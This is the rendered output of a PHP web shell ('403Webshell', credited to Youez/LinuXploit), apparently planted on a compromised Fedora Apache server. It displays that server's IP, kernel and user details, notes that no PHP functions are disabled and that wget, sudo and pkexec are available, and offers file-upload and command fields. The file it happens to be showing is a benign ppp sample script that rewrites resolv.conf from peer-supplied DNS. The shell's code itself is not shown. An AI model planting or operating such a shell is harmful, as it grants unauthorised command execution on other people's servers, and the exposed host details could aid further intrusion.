403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/ppp-2.4.4/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/ppp-2.4.4/scripts/ip-up.local.add
#
# This sample code shows you one way to modify your setup to allow automatic
# configuration of your resolv.conf for peer supplied DNS addresses when using
# the `usepeerdns' option.
#
# In my case I just added this to my /etc/ppp/ip-up.local script. You may need to 
# create an executable script if one does not exist.
#
# Nick Walker (nickwalker@email.com)
#
. /etc/sysconfig/network-scripts/network-functions

if [ -n "$USEPEERDNS" -a -f /var/run/ppp/resolv.conf ]; then
	rm -f /var/run/ppp/resolv.prev
	if [ -f /etc/resolv.conf ]; then
		cp /etc/resolv.conf /var/run/ppp/resolv.prev
		rscf=/var/run/ppp/resolv.new
		grep domain /var/run/ppp/resolv.prev > $rscf
		grep search /var/run/ppp/resolv.prev >> $rscf
		change_resolv_conf $rscf
		rm -f $rscf
	else
		change_resolv_conf /var/run/ppp/resolv.conf
	fi
fi


Youez - 2016 - github.com/yon3zu
LinuXploit